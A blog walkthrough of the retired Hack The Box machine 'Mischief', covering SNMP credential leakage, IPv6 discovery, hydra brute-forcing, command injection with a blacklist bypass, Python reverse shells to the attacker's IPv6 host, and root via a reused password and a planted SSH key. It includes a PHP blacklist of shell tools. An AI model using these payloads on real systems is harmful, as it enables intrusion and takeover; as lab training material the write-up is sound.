Htb Mischief
by Jake
This week we are taking a look at the retired Hack The Box machine Mischief (Medium difficulty)
Start off with an nmap scan:
root@kali: nmap -sC -sV -oN nmap 10.10.10.92
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 10:25 AEDT
Nmap scan report for 10.10.10.92
Host is up (0.23s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.94 seconds
Not a lot we can do with that, to broaden the range with both an nmap UDP and all TCP ports:
root@kali: nmap -sU -oN nmap-udp 10.10.10.92
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 10:32 AEDT
Nmap scan report for 10.10.10.92
Host is up (0.23s latency).
Not shown: 999 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 77.44 seconds
root@kali: nmap -p- --max-retries 1 -Pn -T4 --oN nmap-allports 10.10.10.92
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 10:46 AEDT
Nmap scan report for 10.10.10.92
Host is up (0.23s latency).
Scanned at 2018-12-15 10:46:16 AEDT for 256s
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
3366/tcp open creativepartnr
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 256.52 seconds
Raw packets sent: 131229 (5.774MB) | Rcvd: 408 (21.216KB)
While the all port scan runs, lets look at the box’s snmp:
root@kali: snmp-check 10.10.10.92
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.10.92:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.10.10.92
Hostname : Mischief
Description : Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
Contact : Me <me@example.org>
Location : Sitting on the Dock of the Bay
Uptime snmp : 4 days, 20:15:01.97
Uptime system : 4 days, 20:14:50.64
System date : 2018-12-14 23:34:43.0
[*] Network information:
...
[*] Network interfaces:
...
[*] Network IP:
Id IP Address Netmask Broadcast
2 10.10.10.92 255.255.255.0 1
1 127.0.0.1 255.0.0.0 0
[*] TCP connections and listening ports:
Local address Local port Remote address Remote port State
0.0.0.0 22 0.0.0.0 0 listen
0.0.0.0 3366 0.0.0.0 0 listen
127.0.0.1 3306 0.0.0.0 0 listen
127.0.0.53 53 0.0.0.0 0 listen
[*] Listening UDP ports:
Local address Local port
0.0.0.0 161
0.0.0.0 40207
127.0.0.53 53
[*] Processes:
Id Status Name Path Parameters
1 runnable systemd /sbin/init maybe-ubiquity
2 runnable kthreadd
...
689 runnable iscsid /sbin/iscsid
707 runnable sh /bin/sh -c /home/loki/hosted/webstart.sh
711 runnable sh /bin/sh /home/loki/hosted/webstart.sh
713 runnable python python -m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/
724 runnable agetty /sbin/agetty -o -p -- \u --noclear tty1 linux
771 runnable apache2 /usr/sbin/apache2 -k start
781 runnable mysqld /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
...
[*] Storage information:
...
[*] File system information:
...
[*] Device information:
...
[*] Software components:
Index Name
1 accountsservice-0.6.45-1ubuntu1
2 acl-2.2.52-3build1
...
625 zerofree-1.0.4-1
626 zlib1g-1:1.2.11.dfsg-0ubuntu2
We can see an interesting line in the results that the server is running a SimpleHTTPAuthServer
Reading the usage we can see that the command includes a port number and credentials:
root@kali: python -m SimpleHTTPAuthServer -h
usage: SimpleHTTPAuthServer [-h] [--dir DIR] [--https] port key
positional arguments:
port port number
key username:password
optional arguments:
-h, --help show this help message and exit
--dir DIR directory
--https Use https
Once the all port nmap scan finishes, we can see that port 3366 is open to us, (our snmp-check
also confirms that the server is listening on that port)
Browsing there we are prompted for HTTP Authentication credentials:
We use the creds loki:godofmischiefisloki
and gain access to the site.
Preparing for our gobuster
enumeration we try to navigate to a 404 page to see if we can get the server to leak some information (server version, web server etc) and we see that a page is returned:
Initially we believed that this was a custom error page with a HTTP 200 response as a way to block tools like gobuster
and dirbuster
. So we went straight to wfuzz
instead:
root@kali: wfuzz --hw 25 -t50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --basic loki:godofmischiefisloki http://10.10.10.92:3366/FUZZ
We add the --hw 25
to hide the custom 404 page from the results.
snmp mentioned that Apache was running on the machine, but none of our nmap scans picked it up. We just looked at one website, but that was a python one. The only 2 reasons Apache is running and we can see the site are:
- Apache is listening on localhost only (127.0.0.1:80)
- Apache is listening on a different address or network adapter.
Hack The Box does not provide IPv6 addresses so we need to work it out. Following a guide on how to get an IPv6 address from snmp we are able to use smnpwalk
to manually work out the IPv6 address of the box:
root@kali: snmpwalk -v2c -c public 10.10.10.92 1.3.6.1.2.1.4.34.1.3
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.92 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.10.10.10.255 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.1.4.127.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 1
iso.3.6.1.2.1.4.34.1.3.2.16.222.173.190.239.0.0.0.0.2.80.86.255.254.164.200.21 = INTEGER: 2
iso.3.6.1.2.1.4.34.1.3.2.16.254.128.0.0.0.0.0.0.2.80.86.255.254.164.200.21 = INTEGER: 2
This looks like a lot of garbage to start with, but what we want to do is look at the last 2 lines of the output. Using a decimal to hex converter we take every number after the iso.3.6.1.2.1.4.34.1.3.2.16 and convert it to its HEX value for example 222 converts to DE running through all the numbers we get the following results:
222.173.190.239.0.0.0.0.2.80.86.255.254.164.200.21 -- SNMP decimal value
DE.AD.BE.EF.00.00.00.00.02.50.56.FF.FE.A4.C8.15 -- Each decimal converted to HEX
DEAD:BEEF:0000:0000:0250:56FF:FEA4:C815 -- Convert the HEX to IPv6 format
254.128.0.0.0.0.0.0.2.80.86.255.254.164.200.21
FE.80.00.00.00.00.00.00.02.50.56.FF.FE.A4.C8.15
FE80:0000:0000:0000:0250:56FF:FEA4:C815
In the end we have 2 IPv6 addresses to try, DEAD:BEEF:0000:0000:0250:56FF:FEA4:C815
and FE80:0000:0000:0000:0250:56FF:FEA4:C815
Looking at our own ifconfig
we can see that we also have 2 IPv6 addresses and one looks very similar to one of our outputs.
ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.12 netmask 255.255.254.0 destination 10.10.14.12
inet6 dead:beef:2::100a prefixlen 64 scopeid 0x0<global>
inet6 fe80::1685:d7dd:77d4:cec9 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 1421476 bytes 175522866 (167.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1578154 bytes 137199887 (130.8 MiB)
TX errors 0 dropped 68 overruns 0 carrier 0 collisions 0
The first address is the global or public IPv6 address that the rest of the network sees us as, the second address is a ‘private’ address that is not accessible to the rest of the network similar to the IPv4 loopback address.
Running an IPv6 ping we can see that we can only access the OpenVPN ip from our kali machine:
root@kali: ping -6 -c4 dead:beef:0000:0000:0250:56ff:fea4:c815
PING dead:beef:0000:0000:0250:56ff:fea4:c815(dead:beef::250:56ff:fea4:c815) 56 data bytes
64 bytes from dead:beef::250:56ff:fea4:c815: icmp_seq=1 ttl=63 time=231 ms
64 bytes from dead:beef::250:56ff:fea4:c815: icmp_seq=2 ttl=63 time=231 ms
64 bytes from dead:beef::250:56ff:fea4:c815: icmp_seq=3 ttl=63 time=230 ms
64 bytes from dead:beef::250:56ff:fea4:c815: icmp_seq=4 ttl=63 time=231 ms
^C
--- dead:beef:0000:0000:0250:56ff:fea4:c815 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 8ms
rtt min/avg/max/mdev = 230.363/230.842/231.253/0.575 ms
root@kali: ping -6 -c4 fe80:0000:0000:0000:0250:56ff:fea4:c815
PING fe80:0000:0000:0000:0250:56ff:fea4:c815(fe80::250:56ff:fea4:c815) 56 data bytes
From fe80::20c:29ff:fe9b:4edd%eth0: icmp_seq=1 Destination unreachable: Address unreachable
From fe80::20c:29ff:fe9b:4edd%eth0: icmp_seq=2 Destination unreachable: Address unreachable
From fe80::20c:29ff:fe9b:4edd%eth0: icmp_seq=3 Destination unreachable: Address unreachable
From fe80::20c:29ff:fe9b:4edd%eth0: icmp_seq=4 Destination unreachable: Address unreachable
--- fe80:0000:0000:0000:0250:56ff:fea4:c815 ping statistics ---
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 76ms
pipe 4
The next step is to re-enumerate the box with this IP address. We can see that we get some different results in our nmap scan:
root@kali: nmap -sC -sV -oN nmap-ip6 -6 dead:beef:0000:0000:0250:56ff:fea4:c815
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-15 12:39 AEDT
Nmap scan report for dead:beef::250:56ff:fea4:c815
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 00:50:56:a4:c8:15
|_ manuf: VMware
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds
You might notice that Firefox does not handle IPv6 addresses directly, so we need to update our /etc/hosts
file to map it to a friendly name:
(After further research we also found that you can wrap the IPv6 address in square brackets and Firefox will browse there: [beef:0000:0000:0250:56ff:fea4:c815]
)
root@kali: vim /etc/hosts
...
# The following lines are desirable for IPv6 capable hosts
...
dead:beef:0000:0000:0250:56ff:fea4:c815 mischief.htb
Now if we browse to http://mischief.htb we are presented with a new website:
We try the credentials listed on the first website but neither of them work, so the next step is to try and brute force some candidates from a custom wordlist. We generate two lists. One with potential usernames and another with potential passwords:
root@kali: cat users.txt
loki
god
mischief
trickery
deceit
username
password
miscief
admin
administrator
user
root
trickster
guest
root@kali: cat passwords.txt
loki
godofmischiefisloki
trickeryanddeceit
god
of
mischief
is
trickery
and
deceit
godofmischief
username
password
credentials
miscief
admin
administrator
user
root
trickster
guest
The lists were generated from splitting all the words in the passwords we have encountered so far, miscief
comes from the page title of the first website, this could be a typo, or could be on purpose, this is a trolly box so we assume nothing is a mistake, at the end we have also added some common default credentials.
We use burp to intercept a test login request and can see that a failed login includes some new content on the page “Sorry, those credentials do not match”
We can use the details of this request combined with the tool hydra
to brute force the login form:
root@kali: hydra -L user.txt -P passwords.txt mischief.htb http-post-form "/login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-15 13:12:57
[DATA] max 16 tasks per 1 server, overall 16 tasks, 400 login tries (l:20/p:20), ~25 tries per task
[DATA] attacking http-post-form://mischief.htb:80//login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match
[80][http-post-form] host: mischief.htb login: administrator password: trickeryanddeceit
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-15 13:13:44
We get a hit! The credentials administrator:trickeryanddeceit
are able to log in to the site:
The website states that there are credentials in one of the users home directory’s, sounds like a good next step to work towards.
Intercepting the default request with Burp we can see that we get no command output from the ping request:
It looks like simply adding a new line character [ENTER] after the ping command gets the site to show the command output:
Starting with some basic command chaining we can see who the website is running as:
command=whoami; ping -c 2 127.0.0.1
www-data
Then we move on to testing if we can read files with:
command=cat /etc/passwd; ping -c 2 127.0.0.1
and we get the contents of the /etc/passwd
file:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
loki:x:1000:1004:loki:/home/loki:/bin/bash
Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
mysql:x:112:115:MySQL Server,,,:/nonexistent:/bin/false
Looking at the file contents we can see there are only two users; root and loki. We try ls -la /home/loki; ping -c 2 127.0.0.1
but we get a command not allowed error.
Luckily there are many ways to list the contents of a directory, echo is one of them:
command=echo /home/loki/*; ping -c 2 127.0.0.1
/home/loki/credentials /home/loki/hosted /home/loki/user.txt
So we can see that the credentials file we are after is in loki’s home directory.
Attempting to cat it directly we get another command not allowed message, which is weird, because we were just able to cat /etc/passwd
To see if its a permissions issue on the file we can use the stat
command:
stat /home/loki/credentials
This also does not work, what happens if we try a different file in the same directory (that we should not have permissions to read):
stat /home/loki/user.txt
File: /home/loki/user.txt
Size: 33 Blocks: 8 IO Block: 4096 regular file
Device: 802h/2050d Inode: 662102 Links: 1
Access: (0400/-r--------) Uid: ( 1000/ loki) Gid: ( 1004/ loki)
Access: 2018-12-15 04:05:04.802723847 +0000
Modify: 2018-05-17 18:52:25.203970134 +0000
Change: 2018-05-17 20:29:43.611852308 +0000
Birth: -
We can see that stat
should work even if we have no permissions on the file. So the error was not due to the fact that we don’t have permissions on the credentials file. This leads us to suspect that there is a blacklist on the words allowed through the web application. Luckily for us bash will ignore certain characters when running commands. We are able to split the word with ''
for bash to do nothing, but the web application might be dumb enough to treat them as part of the string when performing its string compare against the blacklist:
command=cat /home/loki/cred''ent''ials; ping -c 1 127.0.0.1
Initially this does not seem to work, this could be because the blacklist contains portions of the words as well like cred
etc. but if we expand it to separate every letter we get a result:
As we read these credentials from loki’s home directory and we remember from our initial nmap scan that the box has SSH open, we assume they can be used to SSH into the box as loki.
ssh loki@10.10.10.92
loki@10.10.10.92's password:
...
loki@Mischief:~$ cat user.txt
bf58078e7b802c[redacted]
We read the user.txt
and now it’s time to move on to root.
Now that we are on the box lets do some basic enumeration. We can see that we have some bash history:
loki@Mischief:~$ cat .bash_history
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
free -mt
ifconfig
cd /etc/
sudo su
su
exit
su root
ls -la
sudo -l
ifconfig
id
cat .bash_history
nano .bash_history
exit
Looking at the contents of the file, there is something interesting, the SimpleHTTPAuthServer
password looks different to the one we found initially in our snmp enumeration. Lets add that to our custom wordlist we created earlier just in case. loki:lokipasswordmischieftrickery
The next step in the enumeration process is to look at the source code for the web application, sometimes they contain passwords, code comments or other hints. We can see from the database.php
file that we have some mysql credentials:
<?php
$server = 'localhost';
$username = 'debian-sys-maint';
$password = 'nE1S9Aw1L0Ky3Y9h';
$database = 'dbpanel';
The index.php
file contains the blacklist of commands they did not want us to run from the website:
<?php
if(isset($_POST['command'])) {
$cmd = $_POST['command'];
if (strpos($cmd, "nc" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "bash" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "chown" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "setfacl" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "chmod" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "perl" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "find" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "locate" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "ls" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "php" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "wget" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "curl" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "dir" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "ftp" ) !== false){
echo "Command is not allowed.";
} elseif (strpos($cmd, "telnet" ) !== false){
echo "Command is not allowed.";
} else {
system("$cmd > /dev/null 2>&1");
echo "Command was executed succesfully!";
}
}
?>
Most of these seem reasonable, but one standout, that was new to us at least, was the setfacl
command.
After doing some research the commands getfacl
and setfacl
have to do with Access Control List (ACL) settings on Linux. Because the application specifically wanted to block this command we should look for any files with ACLs applied:
loki@Mischief: getfacl -R -s -p / | sed -n 's/^# file: //p'
...
//usr/bin/sudo
//bin/su
//var/log/journal
Once we have a list of files, we can use getfacls
to look at the specifics of the ACLs and get a better insight into whats applied to the files:
loki@Mischief:~$ getfacl /usr/bin/sudo
getfacl: Removing leading '/' from absolute path names
# file: usr/bin/sudo
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
loki@Mischief:~$ getfacl /usr/bin/su
getfacl: Removing leading '/' from absolute path names
# file: usr/bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
Looks like our loki user has been specifically blocked from running sudo
and su
, but all other users are able to execute it.
There are no other users in the /etc/passwd
file, but from previous experience we have been able to get reverse shells as accounts such as mysql
and www-data
and we have a website that can already run commands as www-data
. How convenient.
With the knowledge we have of the blacklist we need to craft a reverse shell payload. We can use the loki ssh session to test it out and fix the payload till we get a working one. We know that the black list does not block python so we look up our reverse shell cheatsheet and grab the python sample, updating the ip address and port with our own.
loki@Mischief:~$ which python
/usr/bin/python
loki@Mischief:~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Our standard reverse shell payloads and other means of connecting back to our attacking machine hang (curl
, wget
etc), this indicates that there is a firewall or iptable rules in place blocking our connections. There are a few things we can also test to see the bounds of the iptables rules, these include trying UDP ports or IPv6 connections.
The default nc
is not able to create an IPv6 listener. We can verify this by setting up a listener and viewing our netstat
root@kali: nc -nlvp 443
...
root@kali: netstat -an | grep LISTEN
netstat -an | grep LISTEN
tcp 0 0 0.0.0.0:443 :::* LISTEN
In order to listen on tcp6 we need to install the openbsd version of netcat with apt-get install netcat-openbsd
. Once we have that installed we can use it to listen on IPv6:
root@kali: nc.openbsd -6 -nlvp 443
In another terminal we can verify it with the same netstat
command
root@kali: netstat -an | grep LISTEN
tcp6 0 0 :::443 :::* LISTEN
Now to get our python reverse shell to run on IPv6 we need to change the socket type from AF_INET
to AF_INET6
. Once we have done that, we update the attacker IP to be the IPv6 and our final command comes out to be:
command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::100a",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'; ping -c 1 127.0.0.1
and we get a reverse shell as www-data
:
root@kali: nc.openbsd -6 -nlvp 443
Listening on [::] (family 10, port 117499167)
Connection from dead:beef::250:56ff:fea4:92ba 35944 received!
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
Now we use our standard python -c 'import pty; pty.spawn("/bin/bash")'
to get a bash shell and see if we can run sudo
:
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Mischief:/var/www/html$ sudo ls
sudo ls
sudo: unable to resolve host Mischief: Resource temporarily unavailable
[sudo] password for root:
Finally something useful, we can see that we are able to run sudo
, all we need is the root password.
Remembering how much of a troll this box has been so far, we go back and try our custom word list and eventually we do get a hit with the password from loki’s bash history:
www-data@Mischief:/var/www/html$ sudo ls
sudo ls
sudo: unable to resolve host Mischief: Resource temporarily unavailable
[sudo] password for root: lokipasswordmischieftrickery
www-data is not in the sudoers file. This incident will be reported.
When we get that message it means that the log in was successful, but the www-data
user is not a sudoer, but the other binary that loki is not allowed to use was su
which allows us to change our current user:
www-data@Mischief:/var/www/html$ su root
su root
Password: lokipasswordmischieftrickery
root@Mischief:/var/www/html# cd /root
cd /root
root@Mischief:~# ls
ls
root.txt
root@Mischief:~# cat root.txt
cat root.txt
The flag is not here, get a shell to find it!
And we get another troll.
Looking around the box, there is an empty authorized_keys
file:
root@Mischief:~/.ssh# ls -la
ls -la
total 8
drwx------ 2 root root 4096 May 14 2018 .
drwx------ 6 root root 4096 May 28 2018 ..
-rw------- 1 root root 0 May 14 2018 authorized_keys
Back on our attacking machine we can generate some ssh keys without a password and place the generated public key in the remote authorized_keys
file:
root@kali: ssh-keygen -f thoseguys
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in thoseguys.
Your public key has been saved in thoseguys.pub.
The key fingerprint is:
SHA256:8bRlSwGwVTM5Qtky5+S6ZFy97puseSNF3eE/bsG5WFc root@kali
The key's randomart image is:
...
root@kali: chmod 600 thoseguys
root@kali: cat thoseguys.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEdz ... b71Nc2H+jcCCEYRoFzxfl root@kali
On the target we can echo our public key into the authorized_keys
file:
root@Mischief:~/.ssh# echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEdz ... b71Nc2H+jcCCEYRoFzxfl root@kali' > authorized_keys
Then ssh directly as root:
root@kali: ssh -i thoseguys root@10.10.10.92
...
root@Mischief:~#
Now can we read the flag?
root@Mischief:~# cat root.txt
The flag is not here, get a shell to find it!
Nope, it must be somewhere else, so we look for any other root.txt
files on the machine:
root@Mischief:~# find / -name 'root.*' -type f 2>/dev/null
/usr/lib/python3/dist-packages/twisted/names/__pycache__/root.cpython-36.pyc
/usr/lib/python3/dist-packages/twisted/names/root.py
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/usr/share/dns/root.ds
/usr/share/dns/root.key
/usr/share/dns/root.hints
/root/root.txt
root@Mischief:~# cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt
ae155fad479c[REDACTED]
Finally, we have all the flags!
tags: htb - walkthrough - mischief